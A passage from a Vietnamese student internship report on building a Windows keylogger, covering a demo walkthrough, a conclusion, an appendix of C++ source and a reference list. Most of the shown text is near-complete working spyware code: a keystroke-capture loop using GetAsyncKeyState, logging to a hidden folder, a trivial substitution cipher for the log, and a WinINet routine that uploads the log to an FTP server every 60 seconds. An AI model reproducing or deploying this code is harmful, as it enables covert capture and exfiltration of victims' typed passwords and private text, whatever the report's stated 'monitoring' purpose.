  • 23. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG III. DEMO CHƯƠNG TRINH SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 20 Sau khi nhấn phím 1 và Enter ở hình 3.2 chương trình có một giao diện mới như hình 3.3. Sau đó chúng ta chọn chức năng 1 sẽ hiện ra 1 giao diện mới để nhập các tham số cho Ftp Server . Tham số bao gồm có : Tên host, username và password. Kết quả điền tham số như sau: Nhập tên host là bước đầu tiên, để nhâp tên host chúng ta cần tìm một số trang web hỗ trợ tạo Ftp server cho truyền tải và nhận file của chúng ta, Nhập username và Password. Để cố 2 tham số này cần chúng ta đăng ký 1 tài khoản tại Ftp Server. Sau cùng là nhấn phím 5 và enter để trở về giao diên hình 3.3 và nhấn tiếp phím 2 để trở về giao diện hình 3.2. Kết quả của việc khới tạo giống như hình 3.4 phía dưới đây: Hình 3.4.Thiết lập tham số cho Ftp server 3.4 Khởi tạo file log Chương trình có sử dụng một cặp file để chứa các phím đã được ấn từ bàn phím. Một file chứa giá trị phím được ấn và file kia sẽ mã hóa và lưu lại ngay sau khi có một giá trị bất kỳ từ file gốc này. Chương trình em có sử dụng tạo cặp file và thư mục chưa file măc định như sau: Thư mục: e:/son File log: e:sondecrypt.txt và e:sonencrypt.txt Thư mục chứa 2 file log này được lưu trữ dạng ẩn file. Kết quả của việc tạo thư mục như hình 3.5. Để có thư mục này thì cần phải chạy Keylogger ngay lập tức thư mục và file log ghi lại sẽ được tạo ra.
  • 24. BÁO CAO TTTN ĐẠI HỌC CHƯƠNG III. DEMO CHƯƠNG TRINH SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 21 Hình 3.5. Tạo thư mục và file 3.5 Kết quả chạy chương trình Keylogger Tại giao diện hình 3.2 sau khi chúng ta khởi tạo tất cả các tham số như các bước trên hoàn tất chúng ta nhấn phím 2 để keylogger bắt đầu hook keybroad. Chương trình có hẹn giờ nhất định để gửi file log về Ftp Server của chúng ta (trong chương trình em hẹn thời gian gửi file log về Ftp Server là 1 phút(60s)). Sau 1 phút sẽ có 1 thông báo hiện lên để thông báo kết quả gửi file log . Kết quả chạy chương trình như sau: Hình 3.6 .Kết quả chạy chương trình Keylogger .
  • 25. BÁO CAO TTTN ĐẠI HỌC KẾT LUẬN SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 22 KẾT LUẬN Qua quãng thời gian làm đề tài này em đã có thêm thật nhiều kiến thức mới mẻ và thú vị . Cùng với những kiến thức cơ bản về HĐH windows song song với quá trình tìm hiểu về Keylogger, để dựa vào những kiến thức nền tảng và đầy tính chất mang tính thực tiễn em viết một chương trình Keylogger đơn giản với mục đích giám sát. Kết quả đạt được: Do thời gian thực trong một khoảng thời gian ngắn và em chưa có hiểu biết sâu về HĐH windows cùng một số thư viện cũng như các hàm cần thiết. Em đã viết được một chương trình Keylogger. Keylogger hiện tại mới ở mức độ đơn giản mới chỉ có thể mã hóa file log với thuật toán mã hóa đối xứng thay thế, sau đó file log này sẽ được gửi tới ftp server với một tài khoản được em đăng ký từ trước. File log này sẽ được gửi tới ftp server cứ sau một khoảng thời gian do em thiết lập. Tương lai phát triển : Trong tương lai em sẽ cố gắng hoàn thiện thêm một số chức năng nữa cho Keylogger, để Keylogger này tuy chỉ dùng với mục đích giám sát nhưng sẽ hiệu quả và mang tính chất thực tiễn tốt hơn. Trong quá trình thực hiện đề tài, dù đã rất cố gắng, nhưng do trình độ, kiến thức, thời gian còn nhiều hạn chế, không thể tránh khỏi những thiếu sót trong lúc thực hiện. Em rất mong được sử đóng góp ý kiến, sửa chữa, và định hướng phát triển đề tài được hoàn thiện hơn. Rất cám ơn thầy cô đã dành thời gian để đọc và đánh giá đề tài.
  • 26. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 23 PHỤ LỤC Code mã hóa và giải mã cho file log: void Ma_hoa(void) { fflush(stdin); int e,c; FILE *file; FILE *file1; if((file1=fopen(filename1,"a+"))==NULL) { cout<<"ERROR: KHONG MO DUOC TEP FILE 1 CUA BAN n"<<endl;} if((file=fopen(filename,"r"))==NULL) { cout<<"ERROR: KHONG MO DUOC TEP FILE CUA BAN n"<<endl;} else { fseek(file,0,SEEK_SET); while((c = fgetc(file)) != EOF){ e=c+key; fputc(e,file1); } fclose(file); fclose(file1); file=fopen(filename,"w"); fclose(file); } }
  • 27. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 24 void Giai_ma(void) { fflush(stdin); int e,c; FILE *file; FILE *file1; if((file1=fopen(filename1,"r"))==NULL) { cout<<"ERROR: KHONG MO DUOC TEP FILE 1 CUA BAN n"<<endl; } if((file=fopen(filename,"a+"))==NULL) { cout<<"ERROR: KHONG MO DUOC TEP FILE CUA BAN n"<<endl; } else { fseek(file1,0,SEEK_SET); while((c = fgetc(file1)) != EOF) { e=c-key; fputc(e,file); } fclose(file); fclose(file1); }} Code gửi file log tới Ftp Server: void Kiem_tra() { clrscr(); HINTERNET Open; HINTERNET Connect;
  • 28. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 25 HINTERNET File; time_t now=time(0); char *dt =ctime(&now); /*************************************************************** *****/ time_t rawtime; struct tm * timeinfo; char buffer1 [80]; string name; time ( &rawtime ); timeinfo = localtime ( &rawtime ); strftime (buffer1,80,"Logdate_%d%b_time_%H%M%S.txt",timeinfo); name=string(buffer1); /*************************************************************** *****/ int i=2; textcolor(WHITE); gotoxy(1,1); cout<<"************************** "; textcolor(LIGHTMAGENTA); cout<<" Ket qua chay Keylogger " ; textcolor(WHITE); cout<<" **************************"; for(i=2;i<=35;i++) { gotoxy(1,i); cout<<"*"; } for(i=2;i<=35;i++) { gotoxy(78,i); cout<<"*"; } gotoxy(1,36); cout<<"*********************************************************
  • 29. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 26 ***”; gotoxy(10,3); textcolor(LIGHTBLUE); cout<<"Thoi gian bat dau gui file toi server :"<<dt<<endl; if((Open=InternetOpen("", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, INTERNET_FLAG_PASSIVE))!=NULL)//chuan bi cho viec giao tiep voi proxy server { textcolor(LIGHTCYAN); gotoxy(30,5); cout<<"Chuan bi cho ket noi thanh cong!n"; } else { textcolor(LIGHTCYAN); gotoxy(30,5); cout<<"Chuan bi cho ket noi that bai !n"; return ; } if((Connect=InternetConnect(Open,hostname.c_str(),INTERNET_DEFAU LT_FTP_PORT,username.c_str(),password.c_str(),INTERNET_SERVICE _FTP, INTERNET_FLAG_PASSIVE, 0))!=NULL) { textcolor(LIGHTCYAN); gotoxy(30,7); cout<<"Dang nhap thanh cong !n"; } else { textcolor(LIGHTCYAN); gotoxy(30,7); cout<<"Dang nhap that bai n"; return; } if((File=FtpOpenFile(Connect,name.c_str(), GENERIC_WRITE, FTP_TRANSFER_TYPE_ASCII, 0))!=NULL) {
  • 30. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 27 textcolor(LIGHTCYAN); gotoxy(30,9); cout<<"Mo file thanh cong!"; } else { textcolor(LIGHTCYAN); gotoxy(30,9); cout<<"Mo file that bai !"; } //khai bao cac tham so can su dung trong viec gui file len ftp server FILE * pFile; long lSize; char * buffer; size_t result; Giai_ma(); pFile = fopen ( filename,"rb"); if (pFile==NULL) { textcolor(LIGHTCYAN); gotoxy(30,11); cout<<" Mo file bi loi !"; } // obtain file size: fseek (pFile , 0 , SEEK_END); lSize = ftell (pFile); rewind (pFile); // allocate memory to contain the whole file: buffer = (char*) malloc (sizeof(char)*lSize); if (buffer == NULL) { textcolor(LIGHTCYAN); gotoxy(30,13); cout<<"Cap phat bo nho bi loi!" ; }
  • 31. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 28 // copy the file into the buffer: result = fread (buffer,1,lSize,pFile); if (result != lSize) { textcolor(LIGHTCYAN); gotoxy(30,15); cout<<"Coppy file vao buff bi loi"; } // terminate DWORD wb = 0;//set=0 before run program BOOL Success = InternetWriteFile(File,buffer, strlen(buffer), &wb); if(!Success) { textcolor(LIGHTCYAN); gotoxy(30,17); cout<<"Internet write file bi loi !"; } else { if(pFile!=NULL&&buffer != NULL&&result == lSize) { textcolor(LIGHTCYAN); gotoxy(30,11); cout<<"Upload file thanh cong !n"; } else { textcolor(LIGHTCYAN); gotoxy(30,19); cout<<"Upload file thanh cong !n"; } } fclose (pFile); pFile = fopen ( filename1,"w"); fclose(pFile); pFile = fopen ( filename,"w");
  • 32. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 29 fclose(pFile); InternetCloseHandle(Open); } Code ghi file log các phím đã được ấn int key_event() { clrscr(); timer t; t.start(); short character; FILE *file; if((file=fopen(filename,"a+"))==NULL) { gotoxy(1,13); textcolor(LIGHTCYAN); cout<<" => Loi mo file de ghi log can khai bao buoc 1! <= n"; system("pause"); // break; } else { time_t theTime=time(0); fputs(" Bat dau ghi file log vao : ", file); fputs(ctime(&theTime),file); fclose(file); } Ma_hoa(); while(true) { if(t.getTime()==60) { Kiem_tra(); t.reset(); } if(t.getTime()!=60) {
  • 33. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 30 for(character=8;character<=222;character++) { if(GetAsyncKeyState(character)==-32767) { FILE *file; file=fopen(filename,"a+"); if(file==NULL) { return 1; } if(file!=NULL) { if((character>=39)&&(character<=64)) { fputc(character,file); fclose(file); Ma_hoa(); break; } else if((character>64)&&(character<91)) { character+=32; fputc(character,file); fclose(file); Ma_hoa(); break; } else { switch(character) { case VK_SPACE: fputc(' ',file); fclose(file); Ma_hoa(); break; case VK_SHIFT: fputs("rn[SHIFT]rn",file);
  • 34. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 31 fclose(file); Ma_hoa(); break; case VK_RETURN: fputs("rn[ENTER]rn",file); fclose(file); Ma_hoa(); break; case VK_BACK: fputs("rn[BACKSPACE]rn",file); fclose(file); Ma_hoa(); break; case VK_TAB: fputs("rn[TAB]rn",file); fclose(file); Ma_hoa(); break; case VK_CONTROL: fputs("rn[CTRL]rn",file); fclose(file); Ma_hoa(); break; case VK_DELETE: fputs("rn[DEL]rn",file); fclose(file); Ma_hoa(); break; case VK_INSERT : fputs("rn[INSERT]rn",file); fclose(file); Ma_hoa(); break; case VK_ESCAPE : fputs("rn[ESCAPE]rn",file); fclose(file); Ma_hoa(); break;
  • 35. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 32 case VK_OEM_1: if(GetAsyncKeyState(VK_SHIFT)) { fputs(":",file); fclose(file); Ma_hoa(); } else { fputs(";",file); fclose(file); Ma_hoa(); } break; case VK_OEM_2: if(GetAsyncKeyState(VK_SHIFT)) { fputs("?",file); fclose(file); Ma_hoa(); } else { fputs("/",file); fclose(file); Ma_hoa(); } break; case VK_OEM_3: if(GetAsyncKeyState(VK_SHIFT)) { fputs("~",file); fclose(file); Ma_hoa(); } else { fputs("`",file);
  • 36. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 33 fclose(file); Ma_hoa(); } break; case VK_OEM_4: if(GetAsyncKeyState(VK_SHIFT)) { fputs("{",file); fclose(file); Ma_hoa(); } else { fputs("[",file); fclose(file); Ma_hoa(); } break; case VK_OEM_5: if(GetAsyncKeyState(VK_SHIFT)) { fputs("|",file); fclose(file); Ma_hoa(); } else { fputs("",file); fclose(file); Ma_hoa(); } break; case VK_OEM_6: if(GetAsyncKeyState(VK_SHIFT)) { fputs("}",file); fclose(file); Ma_hoa();
  • 37. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 34 } else { fputs("]",file); fclose(file); Ma_hoa(); } break; case VK_OEM_7: if(GetAsyncKeyState(VK_SHIFT)) { fputs(""",file); fclose(file); Ma_hoa(); } else { fputs("'",file); fclose(file); Ma_hoa(); } break; case 187: fputc('+',file); fclose(file); Ma_hoa(); break; case 188: fputc(',',file); fclose(file); Ma_hoa(); break; case 189: fputc('-',file); fclose(file); Ma_hoa(); break; case 190:
  • 38. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 35 fputc('.',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD0: fputc('0',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD1: fputc('1',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD2: fputc('2',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD3: fputc('3',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD4: fputc('4',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD5: fputc('5',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD6: fputc('6',file); fclose(file); Ma_hoa();
  • 39. BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 36 break; case VK_NUMPAD7: fputc('7',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD8: fputc('8',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD9: fputc('9',file); fclose(file); Ma_hoa(); break; case VK_CAPITAL: fputs("rn[CAPS LOCK]rn",file); fclose(file); Ma_hoa(); break; default: fclose(file); Ma_hoa(); break; } }}}}}}}}
  • 40. BÁO CAO TTTN ĐẠI HỌC TÀI LIỆU THAM KHẢO SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 37 TÀI LIỆU THAM KHẢO 4.1 Danh mục các Website tham khảo: [1] http://www.parxy.com/history-keyloggers.html [2]http://msdn.microsoft.com/enus/library/windows/desktop/aa385096%28v=vs.85 %29.aspx [3]http://msdn.microsoft.com/en- us/library/windows/desktop/aa385128(v=vs.85).aspx [4]http://msdn.microsoft.com/en- us/library/windows/desktop/aa384363(v=vs.85).aspx [5] http://www.cplusplus.com/forum/general/ [6] http://vi.wikipedia.org/wiki/Keylogger [7] http://www.tutorialspoint.com/cplusplus/cpp_date_time.htm [8] http://www.tutorialspoint.com/cplusplus/cpp_strings.htm [9] http://www.tutorialspoint.com/cplusplus/cpp_strings.htm [10] http://www.irongeek.com/i.php?page=security/keylogger [11] http://www.cpp-home.com/forum/viewtopic.php?f=4&t=15775 [12] http://www.cppforschool.com/project/tic-tac-toe-project.html